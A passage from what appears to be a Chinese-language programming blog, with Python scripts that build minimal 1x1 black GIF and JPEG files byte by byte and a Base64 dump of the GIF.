class="string">b&#x27;GIF87a&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># --- Logical Screen Descriptor ---</span></span><br><span class="line">    <span class="comment"># Packed byte 0x81: GCT flag=1, color resolution=0 (1 bit),</span></span><br><span class="line">    <span class="comment">#                   sort=0, GCT size=1 =&gt; 2^(1+1) = 4 entries</span></span><br><span class="line">    screen_desc = struct.pack(<span class="string">&#x27;&lt;HHBBB&#x27;</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">0x81</span>, <span class="number">0</span>, <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># --- Global Color Table (4 entries, all black) ---</span></span><br><span class="line">    gct = <span class="string">b&#x27;\x00\x00\x00&#x27;</span> * <span class="number">4</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># --- Image Descriptor ---</span></span><br><span class="line">    image_desc = <span class="string">b&#x27;\x2c&#x27;</span> + struct.pack(<span class="string">&#x27;&lt;HHHHB&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># --- Image Data (LZW) ---</span></span><br><span class="line">    lzw_min_code_size = <span class="number">8</span></span><br><span class="line">    clear_code = <span class="number">1</span> &lt;&lt; lzw_min_code_size       <span class="comment"># 256</span></span><br><span class="line">    eoi_code = clear_code + <span class="number">1</span>                 <span class="comment"># 257</span></span><br><span class="line">    code_size = lzw_min_code_size + <span class="number">1</span>         <span class="comment"># 9 bits initially</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># One black pixel (index 0): emit clear, 0, EOI</span></span><br><span class="line">    lzw_bytes = pack_lzw_bits([clear_code, <span class="number">0</span>, eoi_code], code_size)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Sub-block: min code size, then data sub-block(s), then terminator</span></span><br><span class="line">    image_data = (</span><br><span class="line">        <span class="built_in">bytes</span>([lzw_min_code_size])</span><br><span class="line">        + <span class="built_in">bytes</span>([<span class="built_in">len</span>(lzw_bytes)]) + lzw_bytes</span><br><span class="line">        + <span class="string">b&#x27;\x00&#x27;</span></span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="comment"># --- Trailer ---</span></span><br><span class="line">    trailer = <span class="string">b&#x27;\x3b&#x27;</span></span><br><span class="line"></span><br><span class="line">    data = header + screen_desc + gct + image_desc + image_data + trailer</span><br><span class="line"></span><br><span class="line">    out_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), <span class="string">&#x27;black.gif&#x27;</span>)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(out_path, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(data)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&#x27;created <span class="subst">&#123;out_path&#125;</span>&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><ul><li>Base64编码的图片原始数据</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">R0lGODdhAQABAIEAAAAAAAAAAAAAAAAAACwAAAAAAQABAAAIBAABBAQAOw==</span><br></pre></td></tr></table></figure><h2 id="JPEG"><a href="#JPEG" class="headerlink" title="JPEG"></a>JPEG</h2><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># --- JPEG quantization tables (zig-zag order) ---</span></span><br><span class="line"></span><br><span class="line">DQT_LUMINANCE = [</span><br><span class="line">      <span class="number">8</span>,   <span class="number">6</span>,   <span class="number">6</span>,   <span class="number">7</span>,   <span class="number">6</span>,   <span class="number">5</span>,   <span class="number">8</span>,   <span class="number">7</span>,</span><br><span class="line">      <span class="number">7</span>,   <span class="number">7</span>,   <span class="number">9</span>,   <span class="number">9</span>,   <span class="number">8</span>,  <span class="number">10</span>,  <span class="number">12</span>,  <span class="number">20</span>,</span><br><span class="line">     <span class="number">13</span>,  <span class="number">12</span>,  <span class="number">11</span>,  <span class="number">11</span>,  <span class="number">12</span>,  <span class="number">25</span>,  <span class="number">18</span>,  <span class="number">19</span>,</span><br><span class="line">     <span class="number">15</span>,  <span class="number">20</span>,  <span class="number">29</span>,  <span class="number">26</span>,  <span class="number">31</span>,  <span class="number">30</span>,  <span class="number">29</span>,  <span class="number">26</span>,</span><br><span class="line">     <span class="number">28</span>,  <span class="number">28</span>,  <span class="number">32</span>,  <span class="number">36</span>,  <span class="number">46</span>,  <span class="number">39</span>,  <span class="number">32</span>,  <span class="number">34</span>,</span><br><span class="line">     <span class="number">44</span>,  <span class="number">35</span>,  <span class="number">28</span>,  <span class="number">28</span>,  <span class="number">40</span>,  <span class="number">55</span>,  <span class="number">41</span>,  <span class="number">44</span>,</span><br><span class="line">     <span class="number">48</span>,  <span class="number">49</span>,  <span class="number">52</span>,  <span class="number">52</span>,  <span class="number">52</span>,  <span class="number">31</span>,  <span class="number">39</span>,  <span class="number">57</span>,</span><br><span class="line">     <span class="number">61</span>,  <span class="number">56</span>,  <span class="number">50</span>,  <span class="number">60</span>,  <span class="number">46</span>,  <span class="number">51</span>,  <span class="number">52</span>,  <span class="number">50</span>,</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">DQT_CHROMINANCE = [</span><br><span class="line">      <span class="number">9</span>,   <span class="number">9</span>,   <span class="number">9</span>,  <span class="number">12</span>,  <span class="number">11</span>,  <span class="number">12</span>,  <span class="number">24</span>,  <span class="number">13</span>,</span><br><span class="line">     <span class="number">13</span>,  <span class="number">24</span>,  <span class="number">50</span>,  <span class="number">33</span>,  <span class="number">28</span>,  <span class="number">33</span>,  <span class="number">50</span>,  <span class="number">50</span>,</span><br><span class="line">     <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,</span><br><span class="line">     <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,</span><br><span class="line">     <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,</span><br><span class="line">     <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,</span><br><span class="line">     <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,</span><br><span class="line">     <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,  <span class="number">50</span>,</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="comment"># --- Standard JPEG Huffman tables ---</span></span><br><span class="line"><span class="comment"># Each table = (class_and_id, 16 count bytes, symbol bytes)</span></span><br><span class="line"></span><br><span class="line">DC_LUMINANCE = (</span><br><span class="line">    <span class="number">0x00</span>,  <span class="comment"># class 0 (DC), table id 0</span></span><br><span class="line">    [<span class="number">0</span>, <span class="number">1</span>, <span class="number">5</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>],</span><br><span class="line">    [<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">7</span>, <span class="number">8</span>, <span class="number">9</span>, <span class="number">10</span>, <span class="number">11</span>],</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">DC_CHROMINANCE = (</span><br><span class="line">    <span class="number">0x01</span>,  <span class="comment"># class 0 (DC), table id 1</span></span><br><span class="line">    [<span class="number">0</span>, <span class="number">3</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>],</span><br><span class="line">    [<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">7</span>, <span class="number">8</span>, <span class="number">9</span>, <span class="number">10</span>, <span class="number">11</span>],</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">AC_LUMINANCE = (</span><br><span class="line">    <span class="number">0x10</span>,  <span class="comment"># class 1 (AC), table id 0</span></span><br><span class="line">    [<span class="number">0</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">3</span>, <span class="number">3</span>, <span class="number">2</span>, <span class="number">4</span>, <span class="number">3</span>, <span class="number">5</span>, <span class="number">5</span>, <span class="number">4</span>, <span class="number">4</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0x7d</span>],</span><br><span class="line">    [</span><br><span class="line">        <span class="number">0x01</span>, <span class="number">0x02</span>, <span class="number">0x03</span>, <span class="number">0x00</span>, <span class="number">0x04</span>, <span class="number">0x11</span>, <span class="number">0x05</span>, <span class="number">0x12</span>,</span><br><span class="line">        <span class="number">0x21</span>, <span class="number">0x31</span>, <span class="number">0x41</span>, <span class="number">0x06</span>, <span class="number">0x13</span>, <span class="number">0x51</span>, <span class="number">0x61</span>, <span class="number">0x07</span>,</span><br><span class="line">        <span class="number">0x22</span>, <span class="number">0x71</span>, <span class="number">0x14</span>, <span class="number">0x32</span>, <span class="number">0x81</span>, <span class="number">0x91</span>, <span class="number">0xa1</span>, <span class="number">0x08</span>,</span><br><span class="line">        <span class="number">0x23</span>, <span class="number">0x42</span>, <span class="number">0xb1</span>, <span class="number">0xc1</span>, <span class="number">0x15</span>, <span class="number">0x52</span>, <span class="number">0xd1</span>, <span class="number">0xf0</span>,</span><br><span class="line">        <span class="number">0x24</span>, <span class="number">0x33</span>, <span class="number">0x62</span>, <span class="number">0x72</span>, <span class="number">0x82</span>, <span class="number">0x09</span>, <span class="number">0x0a</span>, <span class="number">0x16</span>,</span><br><span class="line">        <span class="number">0x17</span>, <span class="number">0x18</span>, <span class="number">0x19</span>, <span class="number">0x1a</span>, <span class="number">0x25</span>, <span class="number">0x26</span>, <span class="number">0x27</span>, <span class="number">0x28</span>,</span><br><span class="line">        <span class="number">0x29</span>, <span class="number">0x2a</span>, <span class="number">0x34</span>, <span class="number">0x35</span>, <span class="number">0x36</span>, <span class="number">0x37</span>, <span class="number">0x38</span>, <span class="number">0x39</span>,</span><br><span class="line">        <span class="number">0x3a</span>, <span class="number">0x43</span>, <span class="number">0x44</span>, <span class="number">0x45</span>, <span class="number">0x46</span>, <span class="number">0x47</span>, <span class="number">0x48</span>, <span class="number">0x49</span>,</span><br><span class="line">        <span class="number">0x4a</span>, <span class="number">0x53</span>, <span class="number">0x54</span>, <span class="number">0x55</span>, <span class="number">0x56</span>, <span class="number">0x57</span>, <span class="number">0x58</span>, <span class="number">0x59</span>,</span><br><span class="line">        <span class="number">0x5a</span>, <span class="number">0x63</span>, <span class="number">0x64</span>, <span class="number">0x65</span>, <span class="number">0x66</span>, <span class="number">0x67</span>, <span class="number">0x68</span>, <span class="number">0x69</span>,</span><br><span class="line">        <span class="number">0x6a</span>, <span class="number">0x73</span>, <span class="number">0x74</span>, <span class="number">0x75</span>, <span class="number">0x76</span>, <span class="number">0x77</span>, <span class="number">0x78</span>, <span class="number">0x79</span>,</span><br><span class="line">        <span class="number">0x7a</span>, <span class="number">0x83</span>, <span class="number">0x84</span>, <span class="number">0x85</span>, <span class="number">0x86</span>, <span class="number">0x87</span>, <span class="number">0x88</span>, <span class="number">0x89</span>,</span><br><span class="line">        <span class="number">0x8a</span>, <span class="number">0x92</span>, <span class="number">0x93</span>, <span class="number">0x94</span>, <span class="number">0x95</span>, <span class="number">0x96</span>, <span class="number">0x97</span>, <span class="number">0x98</span>,</span><br><span class="line">        <span class="number">0x99</span>, <span class="number">0x9a</span>, <span class="number">0xa2</span>, <span class="number">0xa3</span>, <span class="number">0xa4</span>, <span class="number">0xa5</span>, <span class="number">0xa6</span>, <span class="number">0xa7</span>,</span><br><span class="line">        <span class="number">0xa8</span>, <span class="number">0xa9</span>, <span class="number">0xaa</span>, <span class="number">0xb2</span>, <span class="number">0xb3</span>, <span class="number">0xb4</span>, <span class="number">0xb5</span>, <span class="number">0xb6</span>,</span><br><span class="line">        <span class="number">0xb7</span>, <span class="number">0xb8</span>, <span class="number">0xb9</span>, <span class="number">0xba</span>, <span class="number">0xc2</span>, <span class="number">0xc3</span>, <span class="number">0xc4</span>, <span class="number">0xc5</span>,</span><br><span class="line">        <span class="number">0xc6</span>, <span class="number">0xc7</span>, <span class="number">0xc8</span>, <span class="number">0xc9</span>, <span class="number">0xca</span>, <span class="number">0xd2</span>, <span class="number">0xd3</span>, <span class="number">0xd4</span>,</span><br><span class="line">        <span class="number">0xd5</span>, <span class="number">0xd6</span>, <span class="number">0xd7</span>, <span class="number">0xd8</span>, <span class="number">0xd9</span>, <span class="number">0xda</span>, <span class="number">0xe1</span>, <span class="number">0xe2</span>,</span><br><span class="line">        <span class="number">0xe3</span>, <span class="number">0xe4</span>, <span class="number">0xe5</span>, <span class="number">0xe6</span>, <span class="number">0xe7</span>, <span class="number">0xe8</span>, <span class="number">0xe9</span>, <span class="number">0xea</span>,</span><br><span class="line">        <span class="number">0xf1</span>, <span class="number">0xf2</span>, <span class="number">0xf3</span>, <span class="number">0xf4</span>, <span class="number">0xf5</span>, <span class="number">0xf6</span>, <span class="number">0xf7</span>, <span class="number">0xf8</span>,</span><br><span class="line">        <span class="number">0xf9</span>, <span class="number">0xfa</span>,</span><br><span class="line">    ],</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">AC_CHROMINANCE = (</span><br><span class="line">    <span class="number">0x11</span>,  <span class="comment"># class 1 (AC), table id 1</span></span><br><span class="line">    [<span class="number">0</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">4</span>, <span class="number">4</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="number">4</span>, <span class="number">4</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">0x77</span>],</span><br><span class="line">    [</span><br><span class="line">        <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x02</span>, <span class="number">0x03</span>, <span class="number">0x11</span>, <span class="number">0x04</span>, <span class="number">0x05</span>, <span class="number">0x21</span>,</span><br><span class="line">        <span class="number">0x31</span>, <span class="number">0x06</span>, <span class="number">0x12</span>, <span class="number">0x41</span>, <span class="number">0x51</span>, <span class="number">0x07</span>, <span class="number">0x61</span>, <span class="number">0x71</span>,</span><br><span class="line">        <span class="number">0x13</span>, <span class="number">0x22</span>, <span class="number">0x32</span>, <span class="number">0x81</span>, <span class="number">0x08</span>, <span class="number">0x14</span>, <span class="number">0x42</span>, <span class="number">0x91</span>,</span><br><span class="line">        <span class="number">0xa1</span>, <span class="number">0xb1</span>, <span class="number">0xc1</span>, <span class="number">0x09</span>, <span class="number">0x23</span>, <span class="number">0x33</span>, <span class="number">0x52</span>, <span class="number">0xf0</span>,</span><br><span class="line">        <span class="number">0x15</span>, <span class="number">0x62</span>, <span class="number">0x72</span>, <span class="number">0xd1</span>, <span class="number">0x0a</span>, <span class="number">0x16</span>, <span class="number">0x24</span>, <span class="number">0x34</span>,</span><br><span class="line">        <span class="number">0xe1</span>, <span class="number">0x25</span>, <span class="number">0xf1</span>, <span class="number">0x17</span>, <span class="number">0x18</span>, <span class="number">0x19</span>, <span class="number">0x1a</span>, <span class="number">0x26</span>,</span><br><span class="line">        <span class="number">0x27</span>, <span class="number">0x28</span>, <span class="number">0x29</span>, <span class="number">0x2a</span>, <span class="number">0x35</span>, <span class="number">0x36</span>, <span class="number">0x37</span>, <span class="number">0x38</span>,</span><br><span class="line">        <span class="number">0x39</span>, <span class="number">0x3a</span>, <span class="number">0x43</span>, <span class="number">0x44</span>, <span class="number">0x45</span>, <span class="number">0x46</span>, <span class="number">0x47</span>, <span class="number">0x48</span>,</span><br><span class="line">        <span class="number">0x49</span>, <span class="number">0x4a</span>, <span class="number">0x53</span>, <span class="number">0x54</span>, <span class="number">0x55</span>, <span class="number">0x56</span>, <span class="number">0x57</span>, <span class="number">0x58</span>,</span><br><span class="line">        <span class="number">0x59</span>, <span class="number">0x5a</span>, <span class="number">0x63</span>, <span class="number">0x64</span>, <span class="number">0x65</span>, <span class="number">0x66</span>, <span class="number">0x67</span>, <span class="number">0x68</span>,</span><br><span class="line">        <span class="number">0x69</span>, <span class="number">0x6a</span>, <span class="number">0x73</span>, <span class="number">0x74</span>, <span class="number">0x75</span>, <span class="number">0x76</span>, <span class="number">0x77</span>, <span class="number">0x78</span>,</span><br><span class="line">        <span class="number">0x79</span>, <span class="number">0x7a</span>, <span class="number">0x82</span>, <span class="number">0x83</span>, <span class="number">0x84</span>, <span class="number">0x85</span>, <span class="number">0x86</span>, <span class="number">0x87</span>,</span><br><span class="line">        <span class="number">0x88</span>, <span class="number">0x89</span>, <span class="number">0x8a</span>, <span class="number">0x92</span>, <span class="number">0x93</span>, <span class="number">0x94</span>, <span class="number">0x95</span>, <span class="number">0x96</span>,</span><br><span class="line">        <span class="number">0x97</span>, <span class="number">0x98</span>, <span class="number">0x99</span>, <span class="number">0x9a</span>, <span class="number">0xa2</span>, <span class="number">0xa3</span>, <span class="number">0xa4</span>, <span class="number">0xa5</span>,</span><br><span class="line">        <span class="number">0xa6</span>, <span class="number">0xa7</span>, <span class="number">0xa8</span>, <span class="number">0xa9</span>, <span class="number">0xaa</span>, <span class="number">0xb2</span>, <span class="number">0xb3</span>, <span class="number">0xb4</span>,</span><br><span class="line">        <span class="number">0xb5</span>, <span class="number">0xb6</span>, <span class="number">0xb7</span>, <span class="number">0xb8</span>, <span class="number">0xb9</span>, <span class="number">0xba</span>, <span class="number">0xc2</span>, <span class="number">0xc3</span>,</span><br><span class="line">        <span class="number">0xc4</span>, <span class="number">0xc5</span>, <span class="number">0xc6</span>, <span class="number">0xc7</span>, <span class="number">0xc8</span>, <span class="number">0xc9</span>, <span class="number">0xca</span>, <span class="number">0xd2</span>,</span><br><span class="line">        <span class="number">0xd3</span>, <span class="number">0xd4</span>, <span class="number">0xd5</span>, <span class="number">0xd6</span>, <span class="number">0xd7</span>, <span class="number">0xd8</span>, <span class="number">0xd9</span>, <span class="number">0xda</span>,</span><br><span class="line">        <span class="number">0xe2</span>, <span class="number">0xe3</span>, <span class="number">0xe4</span>, <span class="number">0xe5</span>, <span class="number">0xe6</span>, <span class="number">0xe7</span>, <span class="number">0xe8</span>, <span class="number">0xe9</span>,</span><br><span class="line">        <span class="number">0xea</span>, <span class="number">0xf2</span>, <span class="number">0xf3</span>, <span class="number">0xf4</span>, <span class="number">0xf5</span>, <span class="number">0xf6</span>, <span class="number">0xf7</span>, <span class="number">0xf8</span>,</span><br><span class="line">        <span class="number">0xf9</span>, <span class="number">0xfa</span>,</span><br><span class="line">    ],</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Entropy-coded scan data for a 1x1 black pixel.</span></span><br><span class="line"><span class="comment"># Encodes 6 blocks (4Y + 1Cb + 1Cr, 4:2:0 sampling) with all-zero DCT</span></span><br><span class="line"><span class="comment"># coefficients using the standard Huffman tables above.</span></span><br><span class="line">SCAN_DATA = <span class="string">b&#x27;\xf9\xfe\x8a\x28\xa0\x0f&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">segment</span>(<span class="params">marker, payload</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Build a JPEG marker segment: FF xx + 2-byte length + payload.&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">return</span> marker + struct.pack(<span class="string">&#x27;&gt;H&#x27;</span>, <span class="built_in">len</span>(payload) + <span class="number">2</span>) + payload</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">dqt_segment</span>(<span class="params">table_id, values</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Build a DQT marker segment (FF DB).&quot;&quot;&quot;</span></span><br><span class="line">    payload = <span class="built_in">bytes</span>([table_id]) + <span class="built_in">bytes</span>(values)</span><br><span class="line">    <span class="keyword">return</span> segment(<span class="string">b&#x27;\xff\xdb&#x27;</span>, payload)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">dht_segment</span>(<span class="params">class_and_id, counts, symbols</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Build a DHT marker segment (FF C4).&quot;&quot;&quot;</span></span><br><span class="line">    payload = <span class="built_in">bytes</span>([class_and_id]) + <span class="built_in">bytes</span>(counts) + <span class="built_in">bytes</span>(symbols)</span><br><span class="line">    <span class="keyword">return</span> segment(<span class="string">b&#x27;\xff\xc4&#x27;</span>, payload)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    parts = []</span><br><span class="line"></span><br><span class="line">    <span class="comment"># SOI</span></span><br><span class="line">    parts.append(<span class="string">b&#x27;\xff\xd8&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># APP0 - JFIF</span></span><br><span class="line">    parts.append(segment(</span><br><span class="line">        <span class="string">b&#x27;\xff\xe0&#x27;</span>,</span><br><span class="line">        <span class="string">b&#x27;JFIF\x00&#x27;</span>        <span class="comment"># identifier + zero</span></span><br><span class="line">        <span class="string">b&#x27;\x01\x01&#x27;</span>        <span class="comment"># version 1.1</span></span><br><span class="line">        <span class="string">b&#x27;\x00&#x27;</span>            <span class="comment"># units (no units)</span></span><br><span class="line">        <span class="string">b&#x27;\x00\x01&#x27;</span>        <span class="comment"># X density</span></span><br><span class="line">        <span class="string">b&#x27;\x00\x01&#x27;</span>        <span class="comment"># Y density</span></span><br><span class="line">        <span class="string">b&#x27;\x00\x00&#x27;</span>,       <span class="comment"># no thumbnail</span></span><br><span class="line">    ))</span><br><span class="line"></span><br><span class="line">    <span class="comment"># DQT - luminance (table 0) and chrominance (table 1)</span></span><br><span class="line">    parts.append(dqt_segment(<span class="number">0x00</span>, DQT_LUMINANCE))</span><br><span class="line">    parts.append(dqt_segment(<span class="number">0x01</span>, DQT_CHROMINANCE))</span><br><span class="line"></span><br><span class="line">    <span class="comment"># SOF0 - baseline DCT, 1x1, 3 components, 4:2:0 sampling</span></span><br><span class="line">    sof0_payload = struct.pack(</span><br><span class="line">        <span class="string">&#x27;&gt;BHHB&#x27;</span>,</span><br><span class="line">        <span class="number">8</span>,    <span class="comment"># precision (8 bits)</span></span><br><span class="line">        <span class="number">1</span>,    <span class="comment"># height</span></span><br><span class="line">        <span class="number">1</span>,    <span class="comment"># width</span></span><br><span class="line">        <span class="number">3</span>,    <span class="comment"># number of components</span></span><br><span class="line">    )</span><br><span class="line">    <span class="comment"># Component: id, sampling factors (H|V), quant table id</span></span><br><span class="line">    sof0_payload += <span class="built_in">bytes</span>([<span class="number">1</span>, <span class="number">0x22</span>, <span class="number">0</span>])   <span class="comment"># Y:  2x2 sampling, QT 0</span></span><br><span class="line">    sof0_payload += <span class="built_in">bytes</span>([<span class="number">2</span>, <span class="number">0x11</span>, <span class="number">1</span>])   <span class="comment"># Cb: 1x1 sampling, QT 1</span></span><br><span class="line">    sof0_payload += <span class="built_in">bytes</span>([<span class="number">3</span>, <span class="number">0x11</span>, <span class="number">1</span>])   <span class="comment"># Cr: 1x1 sampling, QT 1</span></span><br><span class="line">    parts.append(segment(<span class="string">b&#x27;\xff\xc0&#x27;</span>, sof0_payload))</span><br><span class="line"></span><br><span class="line">    <span class="comment"># DHT - four Huffman tables</span></span><br><span class="line">    parts.append(dht_segment(*DC_LUMINANCE))</span><br><span class="line">    parts.append(dht_segment(*AC_LUMINANCE))</span><br><span class="line">    parts.append(dht_segment(*DC_CHROMINANCE))</span><br><span class="line">    parts.append(dht_segment(*AC_CHROMINANCE))</span><br><span class="line"></span><br><span class="line">    <span class="comment"># SOS - start of scan</span></span><br><span class="line">    sos_payload = struct.pack(<span class="string">&#x27;&gt;B&#x27;</span>, <span class="number">3</span>)           <span class="comment"># 3 components</span></span><br><span class="line">    sos_payload += <span class="built_in">bytes</span>([<span class="number">1</span>, <span class="number">0x00</span>])              <span class="comment"># Y:  DC table 0, AC table 0</span></span><br><span class="line">    sos_payload += <span class="built_in">bytes</span>([<span class="number">2</span>, <span class="number">0x11</span>])              <span class="comment"># Cb: DC table 1, AC table 1</span></span><br><span class="line">    sos_payload += <span class="built_in">bytes</span>([<span class="number">3</span>, <span class="number">0x11</span>])              <span class="comment"># Cr: DC table 1, AC table 